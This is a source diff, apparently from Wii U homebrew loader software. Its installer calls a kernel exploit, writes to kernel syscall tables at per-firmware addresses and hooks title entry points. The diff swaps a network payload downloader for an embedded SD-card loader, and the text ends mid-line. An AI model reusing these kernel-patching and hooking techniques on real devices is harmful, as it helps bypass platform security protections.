diff --git a/.gitignore b/.gitignore index ec3c33c..2a0e2de 100644 --- a/.gitignore +++ b/.gitignore @@ -10,4 +10,5 @@ /sd_loader/build /sd_loader/*.elf /udp_debug_reader/obj -/udp_debug_reader/GeckoLog.txt \ No newline at end of file +/udp_debug_reader/GeckoLog.txt +/installer/sd_loader.h diff --git a/installer/Makefile b/installer/Makefile index af15a31..66436da 100644 --- a/installer/Makefile +++ b/installer/Makefile @@ -1,22 +1,29 @@ PATH := $(DEVKITPPC)/bin:$(PATH) -CC=powerpc-eabi-gcc -AS=powerpc-eabi-gcc -CFLAGS=-std=gnu99 -Os -nostdinc -fno-builtin -ASFLAGS=-mregnames -x assembler-with-cpp -LD=powerpc-eabi-ld +PREFIX ?= powerpc-eabi- +CC = $(PREFIX)gcc +AS = $(PREFIX)gcc +CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin +ASFLAGS = -mregnames -x assembler-with-cpp +LD = $(PREFIX)ld LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc OBJDUMP ?= $(PREFIX)objdump project := . -root:=$(CURDIR) +root := $(CURDIR) build := $(root)/bin -www_loadiine :=$(root)/../../www/loadiine -framework:=$(root)/../../../framework -#CFLAGS += -DUSE_SD_LOADER -#ASFLAGS += -DUSE_SD_LOADER +sd_loader_elf := ../sd_loader/sd_loader.elf + +CFLAGS += -DUSE_SD_LOADER +ASFLAGS += -DUSE_SD_LOADER all: clean setup main532 main500 +sd_loader.h: $(sd_loader_elf) + xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@ + +$(sd_loader_elf): + make -C ../sd_loader + setup: mkdir -p $(root)/bin/ @@ -47,7 +54,7 @@ main210: main200: make main FIRMWARE=200 -main: +main: sd_loader.h $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S @@ -58,6 +65,7 @@ main: clean: rm -rf $(build) + rm -rf sd_loader.h print_stats: @echo diff --git a/installer/launcher.c b/installer/launcher.c index e0cc609..21c9aee 100644 --- a/installer/launcher.c +++ b/installer/launcher.c @@ -2,6 +2,7 @@ #include "elf_abi.h" #include "kexploit.h" #include "structs.h" +#include "sd_loader.h" #define MEM_BASE 0xC0800000 #include "../src/common/common.h" @@ -14,15 +15,14 @@ #define DATA_RW_BASE_OFFSET 0xC0000000 #if ( (VER == 532) || (VER == 540) ) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005D180 - #define ADDRESS_main_entry_hook 0x0101C55C + #define ADDRESS_OSTitle_main_entry_ptr 0x1005d180 + #define ADDRESS_main_entry_hook 0x0101c55c #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader #define KERN_SYSCALL_TBL_4 0xFFEA9CE0 // works with home menu #define KERN_SYSCALL_TBL_5 0xFFEAA0E0 // works with browser (previously KERN_SYSCALL_TBL) - #elif ( (VER == 500) || (VER == 510) ) #define ADDRESS_OSTitle_main_entry_ptr 0x1005CB00 #define ADDRESS_main_entry_hook 0x0101C15C @@ -32,11 +32,9 @@ #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader #define KERN_SYSCALL_TBL_4 0xFFEA9120 // works with home menu #define KERN_SYSCALL_TBL_5 0xFFEA9520 // works with browser (previously KERN_SYSCALL_TBL) - #elif ( (VER == 400) || (VER == 410) ) #define ADDRESS_OSTitle_main_entry_ptr 0x1005A8C0 #define ADDRESS_main_entry_hook 0x0101BD4C - #define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser #endif // VER @@ -45,7 +43,8 @@ static void InstallMain(private_data_t *private_data); static void InstallPatches(private_data_t *private_data); static void ExitFailure(private_data_t *private_data, const char *failure); -static void curl_thread_callback(int argc, void *argv); +static int show_install_menu(unsigned int coreinit_handle, unsigned int *ip_address); +static void thread_callback(int argc, void *argv); static void SetupKernelSyscall(unsigned int addr); @@ -72,7 +71,7 @@ void __main(void) private_data.coreinit_handle = coreinit_handle; private_data.memset = memset; - private_data.data_elf = (unsigned char *) 0xC0E00000; // use this address as temporary to load the elf + private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer; @@ -103,6 +102,24 @@ void __main(void) OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); + /* Send restart signal to get rid of uneeded threads */ + /* Cause the other browser threads to exit */ + int fd = IM_Open(); + void *mem = OSAllocFromSystem(0x100, 64); + if(!mem) + ExitFailure(&private_data, "Not enough memory. Exit and re-enter browser."); + + private_data.memset(mem, 0, 0x100); + + /* Sets wanted flag */ + IM_SetDeviceState(fd, mem, 3, 0, 0); + IM_Close(fd); + OSFreeToSystem(mem); + + /* Waits for thread exits */ + unsigned int t1 = 0x1FFFFFFF; + while(t1--) ; + /* Prepare for thread startups */ int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr); int (*OSResumeThread)(void *thread); @@ -123,7 +140,7 @@ void __main(void) // the thread stack is too small on current thread, switch to an own created thread // create a detached thread with priority 0 and use core 1 - int ret = OSCreateThread(thread, curl_thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A); + int ret = OSCreateThread(thread, thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A); if (ret == 0) ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser."); @@ -146,24 +163,6 @@ void __main(void) ); } - /* Send restart signal to get rid of uneeded threads */ - /* Cause the other browser threads to exit */ - int fd = IM_Open(); - void *mem = OSAllocFromSystem(0x100, 64); - if(!mem) - ExitFailure(&private_data, "Not enough memory. Exit and re-enter browser."); - - private_data.memset(mem, 0, 0x100); - - /* Sets wanted flag */ - IM_SetDeviceState(fd, mem, 3, 0, 0); - IM_Close(fd); - OSFreeToSystem(mem); - - /* Waits for thread exits */ - unsigned int t1 = 0xFFFFFFFF; - while(t1--) ; - /* Install our code now */ InstallMain(&private_data); @@ -259,147 +258,9 @@ static void SetupKernelSyscall(unsigned int address) kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); } -/* libcurl data write callback */ -static int curl_write_data_callback(void *buffer, int size, int nmemb, void *userp) -{ - file_struct_t *file = (file_struct_t *)userp; - int insize = size*nmemb; - file->memcpy(file->data + file->len, buffer, insize); - file->len += insize; - return insize; -} - -/* The downloader thread */ -#define CURLOPT_WRITEDATA 10001 -#define CURLOPT_URL 10002 -#define CURLOPT_ERRORBUFFER 10010 -#define CURLOPT_WRITEFUNCTION 20011 -#define CURLINFO_RESPONSE_CODE 0x200002 -#define CURL_ERROR_SIZE 256 - -static int curl_download_file(private_data_t *private_data, void * curl, const char *url) -{ - char errbuf[CURL_ERROR_SIZE+1]; - errbuf[CURL_ERROR_SIZE] = 0; - file_struct_t file; - file.memcpy = private_data->memcpy; - file.data = private_data->data_elf; - file.len = 0; - file.alloc_size = 0; - private_data->curl_easy_setopt(curl, CURLOPT_URL, url); - private_data->curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_write_data_callback); - private_data->curl_easy_setopt(curl, CURLOPT_WRITEDATA, &file); - private_data->curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, errbuf); - - /* Download file */ - int ret = private_data->curl_easy_perform(curl); - if(ret) - ExitFailure(private_data, errbuf); - - /* Do error checks */ - if(!file.len) { - ExitFailure(private_data, "file length is 0"); - } - - int resp = 404; - private_data->curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &resp); - if(resp != 200) { - ExitFailure(private_data, "response != 200"); - } - - return file.len; -} -static void curl_thread_callback(int argc, void *argv) +static void thread_callback(int argc, void *argv) { - private_data_t *private_data = (private_data_t *)argv; - char *leaddr = (char*)0; - unsigned char *str; - - char buf[128]; - /* find address left in ram */ - for(str = (unsigned char*)0x1A000000; str < (unsigned char*)0x20000000; str++) - { /* Search for /payload which indicates the current address */ - if(*(unsigned int*)str == 0x2F706179 && *(unsigned int*)(str+4) == 0x6C6F6164) - { - leaddr = (char*)str; - while(*leaddr) - { - if(*(unsigned int*)leaddr == 0x68747470) - break; - leaddr--; - } - /* If string starts with http its likely to be correct */ - if(*(unsigned int*)leaddr == 0x68747470) - break; - leaddr = (char*)0; - } - } - if(leaddr == (char*)0) - ExitFailure(private_data, "URL not found"); - - - unsigned int nn_ac_handle; - unsigned int nn_startupid; - int(*ACInitialize)(); - int(*ACGetStartupId) (unsigned int *id); - int(*ACConnectWithConfigId) (unsigned int id); - - OSDynLoad_Acquire("nn_ac.rpl", &nn_ac_handle); - OSDynLoad_FindExport(nn_ac_handle, 0, "ACInitialize", &ACInitialize); - OSDynLoad_FindExport(nn_ac_handle, 0, "ACGetStartupId", &ACGetStartupId); - OSDynLoad_FindExport(nn_ac_handle, 0, "ACConnectWithConfigId",&ACConnectWithConfigId); - - ACInitialize(); - ACGetStartupId(&nn_startupid); - ACConnectWithConfigId(nn_startupid); - - unsigned int nsysnet_handle; - int(*socket_lib_init)(); - OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); - OSDynLoad_FindExport(nsysnet_handle, 0, "socket_lib_init", &socket_lib_init); - socket_lib_init(); - - /* Acquire and setup libcurl */ - unsigned int libcurl_handle; - OSDynLoad_Acquire("nlibcurl", &libcurl_handle); - - int(*curl_global_init)(int opts); - OSDynLoad_FindExport(libcurl_handle, 0, "curl_global_init", &curl_global_init); - OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_init", &private_data->curl_easy_init); - OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_setopt", &private_data->curl_easy_setopt); - OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_perform", &private_data->curl_easy_perform); - OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_getinfo", &private_data->curl_easy_getinfo); - OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_cleanup", &private_data->curl_easy_cleanup); - - curl_global_init(0); - - void *curl = private_data->curl_easy_init(); - if(!curl) { - ExitFailure(private_data, "cURL init failed"); - } - - /* Generate the url address */ - char *src_ptr = leaddr; - char *ptr = buf; - while(*src_ptr) { - *ptr++ = *src_ptr++; - } - *ptr = 0; - // go back to last / - while(*ptr != 0x2F) - ptr--; - -#ifdef USE_SD_LOADER - private_data->memcpy(ptr+1, "sd_loader.elf", 14); -#else - private_data->memcpy(ptr+1, "loadiine_gx2.elf", 17); -#endif - curl_download_file(private_data, curl, buf); - - /* Cleanup to gain back memory */ - private_data->curl_easy_cleanup(curl); - /* Pre-load the Mii Studio to be executed on _Exit - thanks to wj444 for sharing it */ unsigned int sysapp_handle; void (*_SYSLaunchMiiStudio)(void) = 0; @@ -459,35 +320,11 @@ static unsigned int get_section(private_data_t *private_data, unsigned char *dat return 0; } -/* ****************************************************************** */ -/* RESTORE ORIGINAL INSTRUCTIONS */ -/* ****************************************************************** */ -static void RestoreInstructions(private_data_t *private_data) -{ - restore_instructions_t * restore = (restore_instructions_t *)(RESTORE_INSTR_ADDR); - if(restore->magic == RESTORE_INSTR_MAGIC) - { - for(unsigned int i = 0; i < restore->instr_count; i++) - { - *(volatile unsigned int *)(LIB_CODE_RW_BASE_OFFSET + restore->data[i].addr) = restore->data[i].instr; - private_data->DCFlushRange((void*)(LIB_CODE_RW_BASE_OFFSET + restore->data[i].addr), 4); - private_data->ICInvalidateRange((void*)restore->data[i].addr, 4); - } - - } - - restore->magic = 0; - restore->instr_count = 0; -} - /* ****************************************************************** */ /* INSTALL MAIN CODE */ /* ****************************************************************** */ static void InstallMain(private_data_t *private_data) { - //! restore original instructions - RestoreInstructions(private_data); - // get .text section unsigned int main_text_addr = 0; unsigned int main_text_len = 0; @@ -548,12 +385,9 @@ static void InstallPatches(private_data_t *private_data) /* Pre-setup a few options to defined values */ OS_FIRMWARE = VER; - GAME_LAUNCHED = 0; - GAME_RPX_LOADED = 0; - RPX_CHECK_NAME = 0xDEADBEAF; MAIN_ENTRY_ADDR = 0xDEADC0DE; - PREP_TITLE_CALLBACK = 0; - LOADIINE_MODE = LOADIINE_MODE_SMASH_BROS; + ELF_DATA_ADDR = 0xDEADC0DE; + ELF_DATA_SIZE = 0; unsigned int jump_main_hook = 0; osSpecificFunctions->addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; @@ -564,20 +398,11 @@ static void InstallPatches(private_data_t *private_data) osSpecificFunctions->addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; osSpecificFunctions->addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; osSpecificFunctions->addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; - //! pointer to main entry point of a title osSpecificFunctions->addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; //! at this point we dont need to check header and stuff as it is sure to be OK Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf; - - if (!IS_ELF (*ehdr) - || (ehdr->e_type != ET_EXEC) - || (ehdr->e_machine != EM_PPC)) - { - ExitFailure(private_data, "Download is Invalid elf file"); - } - unsigned int mainEntryPoint = ehdr->e_entry; //! Install our entry point hook diff --git a/sd_loader/src/entry.c b/sd_loader/src/entry.c index af5513e..9ee837b 100644 --- a/sd_loader/src/entry.c +++ b/sd_loader/src/entry.c @@ -7,74 +7,77 @@ #define CODE_RW_BASE_OFFSET 0 #define DATA_RW_BASE_OFFSET 0 -#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; - -#define OS_FIND_EXPORT(handle, func) OSDynLoad_FindExport(handle, 0, # func, &func) - -EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); -EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); - -EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align); -EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr); - -EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s); -EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s); -EXPORT_DECL(void, OSFatal, const char* msg); -EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); -EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); -EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); - -EXPORT_DECL(int, FSInit, void); -EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); -EXPORT_DECL(int, FSDelClient, void *pClient); -EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); -EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); -EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling); -EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); -EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); -EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); -EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); -EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); - -static int LoadFileToMem(const char *filepath, unsigned char **fileOut, unsigned int * sizeOut) +#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); + +#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) + +typedef struct _private_data_t +{ + EXPORT_DECL(void *, MEMAllocFromDefaultHeapEx,int size, int align); + EXPORT_DECL(void, MEMFreeToDefaultHeap,void *ptr); + + EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s); + EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s); + EXPORT_DECL(void, OSFatal, const char* msg); + EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); + EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); + EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); + EXPORT_DECL(void, __Exit, void); + + EXPORT_DECL(int, FSInit, void); + EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); + EXPORT_DECL(int, FSDelClient, void *pClient); + EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); + EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); + EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling); + EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); + EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); + EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); + EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); + EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); + + EXPORT_DECL(int, SYSRelaunchTitle, int argc, char* argv); +} private_data_t; + +static int LoadFileToMem(private_data_t *private_data, const char *filepath, unsigned char **fileOut, unsigned int * sizeOut) { int iFd = -1; - void *pClient = MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4); + void *pClient = private_data->MEMAllocFromDefaultHeapEx(FS_CLIENT_SIZE, 4); if(!pClient) return 0; - void *pCmd = MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4); + void *pCmd = private_data->MEMAllocFromDefaultHeapEx(FS_CMD_BLOCK_SIZE, 4); if(!pCmd) { - MEMFreeToDefaultHeap(pClient); + private_data->MEMFreeToDefaultHeap(pClient); return 0; } int success = 0; - FSInit(); - FSInitCmdBlock(pCmd); - FSAddClientEx(pClient, 0, -1); + private_data->FSInit(); + private_data->FSInitCmdBlock(pCmd); + private_data->FSAddClientEx(pClient, 0, -1); do { char tempPath[FS_MOUNT_SOURCE_SIZE]; char mountPath[FS_MAX_MOUNTPATH_SIZE]; - int status = FSGetMountSource(pClient, pCmd, 0, tempPath, -1); + int status = private_data->FSGetMountSource(pClient, pCmd, 0, tempPath, -1); if (status != 0) { - OSFatal("FSGetMountSource failed."); + private_data->OSFatal("FSGetMountSource failed."); break; } - status = FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); + status = private_data->FSMount(pClient, pCmd, tempPath, mountPath, FS_MAX_MOUNTPATH_SIZE, -1); if(status != 0) { - OSFatal("SD mount failed."); + private_data->OSFatal("SD mount failed."); break; } - status = FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1); + status = private_data->FSOpenFile(pClient, pCmd, filepath, "r", &iFd, -1); if(status != 0) { - FSUnmount(pClient, pCmd, mountPath, -1); + private_data->FSUnmount(pClient, pCmd, mountPath, -1); break; } @@ -83,19 +86,19 @@ static int LoadFileToMem(const char *filepath, unsigned char **fileOut, unsigned void *pBuffer = NULL; - FSGetStatFile(pClient, pCmd, iFd, &stat, -1); + private_data->FSGetStatFile(pClient, pCmd, iFd, &stat, -1); if(stat.size > 0) - pBuffer = MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40); + pBuffer = private_data->MEMAllocFromDefaultHeapEx((stat.size + 0x3F) & ~0x3F, 0x40); if(!pBuffer) - OSFatal("Not enough memory for ELF file."); + private_data->OSFatal("Not enough memory for ELF file."); unsigned int done = 0; while(done < stat.size) { - int readBytes = FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); + int readBytes = private_data->FSReadFile(pClient, pCmd, pBuffer + done, 1, stat.size - done, iFd, 0, -1); if(readBytes <= 0) { break; } @@ -104,7 +107,7 @@ static int LoadFileToMem(const char *filepath, unsigned char **fileOut, unsigned if(done != stat.size) { - MEMFreeToDefaultHeap(pBuffer); + private_data->MEMFreeToDefaultHeap(pBuffer); } else { @@ -113,18 +116,18 @@ static int LoadFileToMem(const char *filepath, unsigned char **fileOut, unsigned success = 1; } - FSCloseFile(pClient, pCmd, iFd, -1); - FSUnmount(pClient, pCmd, mountPath, -1); + private_data->FSCloseFile(pClient, pCmd, iFd, -1); + private_data->FSUnmount(pClient, pCmd, mountPath, -1); } while(0); - FSDelClient(pClient); - MEMFreeToDefaultHeap(pClient); - MEMFreeToDefaultHeap(pCmd); + private_data->FSDelClient(pClient); + private_data->MEMFreeToDefaultHeap(pClient); + private_data->MEMFreeToDefaultHeap(pCmd); return success; } -unsigned int load_elf_image (unsigned char *elfstart) +static unsigned int load_elf_image (private_data_t *private_data, unsigned char *elfstart) { Elf32_Ehdr *ehdr; Elf32_Phdr *phdrs; @@ -154,10 +157,6 @@ unsigned int load_elf_image (unsigned char *elfstart) unsigned int p_paddr = phdrs[i].p_paddr; - // use 0xC1000000 offset fore coreinit - //if(p_paddr >= 0x01000000 && p_paddr <= 0x02000000) - // p_paddr += 0xC1000000; - // use correct offset address for executables and data access if(phdrs[i].p_flags & PF_X) p_paddr += CODE_RW_BASE_OFFSET; @@ -165,68 +164,141 @@ unsigned int load_elf_image (unsigned char *elfstart) p_paddr += DATA_RW_BASE_OFFSET; image = (unsigned char *) (elfstart + phdrs[i].p_offset); - memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); - DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); + private_data->memcpy ((void *) p_paddr, image, phdrs[i].p_filesz); + private_data->DCFlushRange((void*)p_paddr, phdrs[i].p_filesz); if(phdrs[i].p_flags & PF_X) - ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz); + private_data->ICInvalidateRange ((void *) phdrs[i].p_paddr, phdrs[i].p_memsz); } + //! clear BSS + Elf32_Shdr *shdr = (Elf32_Shdr *) (elfstart + ehdr->e_shoff); + for(i = 0; i < ehdr->e_shnum; i++) + { + const char *section_name = ((const char*)elfstart) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; + if(section_name[0] == '.' && section_name[1] == 'b' && section_name[2] == 's' && section_name[3] == 's') + { + private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); + private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); + } + else if(section_name[0] == '.' && section_name[1] == 's' && section_name[2] == 'b' && section_name[3] == 's' && section_name[4] == 's') + { + private_data->memset((void*)shdr[i].sh_addr, 0, shdr[i].sh_size); + private_data->DCFlushRange((void*)shdr[i].sh_addr, shdr[i].sh_size); + } + } + return ehdr->e_entry; } +static void loadFunctionPointers(private_data_t * private_data) +{ + unsigned int coreinit_handle; + + EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); + EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); + + OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire; + OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport; + + OSDynLoad_Acquire("coreinit", &coreinit_handle); + + unsigned int *functionPtr = 0; + + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr); + private_data->MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr; + OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr); + private_data->MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr; + + OS_FIND_EXPORT(coreinit_handle, "memcpy", private_data->memcpy); + OS_FIND_EXPORT(coreinit_handle, "memset", private_data->memset); + OS_FIND_EXPORT(coreinit_handle, "OSFatal", private_data->OSFatal); + OS_FIND_EXPORT(coreinit_handle, "DCFlushRange", private_data->DCFlushRange); + OS_FIND_EXPORT(coreinit_handle, "ICInvalidateRange", private_data->ICInvalidateRange); + OS_FIND_EXPORT(coreinit_handle, "__os_snprintf", private_data->__os_snprintf); + OS_FIND_EXPORT(coreinit_handle, "_Exit", private_data->__Exit); + + OS_FIND_EXPORT(coreinit_handle, "FSInit", private_data->FSInit); + OS_FIND_EXPORT(coreinit_handle, "FSAddClientEx", private_data->FSAddClientEx); + OS_FIND_EXPORT(coreinit_handle, "FSDelClient", private_data->FSDelClient); + OS_FIND_EXPORT(coreinit_handle, "FSInitCmdBlock", private_data->FSInitCmdBlock); + OS_FIND_EXPORT(coreinit_handle, "FSGetMountSource", private_data->FSGetMountSource); + OS_FIND_EXPORT(coreinit_handle, "FSMount", private_data->FSMount); + OS_FIND_EXPORT(coreinit_handle, "FSUnmount", private_data->FSUnmount); + OS_FIND_EXPORT(coreinit_handle, "FSOpenFile", private_data->FSOpenFile); + OS_FIND_EXPORT(coreinit_handle, "FSGetStatFile", private_data->FSGetStatFile); + OS_FIND_EXPORT(coreinit_handle, "FSReadFile", private_data->FSReadFile); + OS_FIND_EXPORT(coreinit_handle, "FSCloseFile", private_data->FSCloseFile); + + unsigned int sysapp_handle; + OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); + OS_FIND_EXPORT(sysapp_handle, "SYSRelaunchTitle", private_data->SYSRelaunchTitle); +} + int _start(int argc, char **argv) { - if(MAIN_ENTRY_ADDR == 0xDEADC0DE) { - unsigned int coreinit_handle = 0; - - OSDynLoad_Acquire = (int (*)(const char*, u32 *))OS_SPECIFICS->addr_OSDynLoad_Acquire; - OSDynLoad_FindExport = (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport; + private_data_t private_data; + loadFunctionPointers(&private_data); - OSDynLoad_Acquire("coreinit", &coreinit_handle); - - unsigned int *functionPtr = 0; - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPtr); - MEMAllocFromDefaultHeapEx = (void * (*)(int, int))*functionPtr; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPtr); - MEMFreeToDefaultHeap = (void (*)(void *))*functionPtr; - - OS_FIND_EXPORT(coreinit_handle, memcpy); - OS_FIND_EXPORT(coreinit_handle, memset); - OS_FIND_EXPORT(coreinit_handle, OSFatal); - OS_FIND_EXPORT(coreinit_handle, DCFlushRange); - OS_FIND_EXPORT(coreinit_handle, ICInvalidateRange); - OS_FIND_EXPORT(coreinit_handle, __os_snprintf); - - OS_FIND_EXPORT(coreinit_handle, FSInit); - OS_FIND_EXPORT(coreinit_handle, FSAddClientEx); - OS_FIND_EXPORT(coreinit_handle, FSDelClient); - OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock); - OS_FIND_EXPORT(coreinit_handle, FSGetMountSource); - OS_FIND_EXPORT(coreinit_handle, FSMount); - OS_FIND_EXPORT(coreinit_handle, FSUnmount); - OS_FIND_EXPORT(coreinit_handle, FSOpenFile); - OS_FIND_EXPORT(coreinit_handle, FSGetStatFile); - OS_FIND_EXPORT(coreinit_handle, FSReadFile); - OS_FIND_EXPORT(coreinit_handle, FSCloseFile); - - unsigned char *pElfBuffer = NULL; - unsigned int uiElfSize = 0; - - LoadFileToMem(CAFE_OS_SD_PATH SD_LOADIINE_PATH "/apps/loadiine_gx2/loadiine_gx2.elf", &pElfBuffer, &uiElfSize); - - if(!pElfBuffer) + while(1) { - OSFatal("Could not load file " SD_LOADIINE_PATH "/apps/loadiine_gx2/loadiine_gx2.elf"); - } - else - { - MAIN_ENTRY_ADDR = load_elf_image(pElfBuffer); - MEMFreeToDefaultHeap(pElfBuffer); + if(ELF_DATA_ADDR != 0xDEADC0DE && ELF_DATA_SIZE > 0) + { + //! copy data to safe area before processing it + unsigned char * pElfBuffer = (unsigned char *)private_data.MEMAllocFromDefaultHeapEx(ELF_DATA_SIZE, 4); + if(pElfBuffer) + { + private_data.memcpy(pElfBuffer, (unsigned char*)ELF_DATA_ADDR, ELF_DATA_SIZE); + MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); + private_data.MEMFreeToDefaultHeap(pElfBuffer); + } + ELF_DATA_ADDR = 0xDEADC0DE; + ELF_DATA_SIZE = 0; + } + + if(MAIN_ENTRY_ADDR == 0xDEADC0DE || MAIN_ENTRY_ADDR == 0) + { + unsigned char *pElfBuffer = NULL; + unsigned int uiElfSize = 0; + + LoadFileToMem(&private_data, CAFE_OS_SD_PATH WIIU_PATH "/apps/loadiine_gx2/loadiine_gx2.elf", &pElfBuffer, &uiElfSize); + + if(!pElfBuffer) + { + private_data.OSFatal("Could not load file " WIIU_PATH "/apps/loadiine_gx2/loadiine_gx2.elf"); + } + else + { + MAIN_ENTRY_ADDR = load_elf_image(&private_data, pElfBuffer); + private_data.MEMFreeToDefaultHeap(pElfBuffer); + + if(MAIN_ENTRY_ADDR == 0) + { + private_data.OSFatal("Failed to load ELF " WIIU_PATH "/apps/loadiine_gx2/loadiine_gx2.elf"); + } + } + } + else + { + int returnVal = ((int (*)(int, char **))MAIN_ENTRY_ADDR)(argc, argv); + + //! exit to miimaker and restart application on re-enter of another application + if(returnVal == (int)EXIT_RELAUNCH_ON_LOAD) + { + break; + } + //! exit to 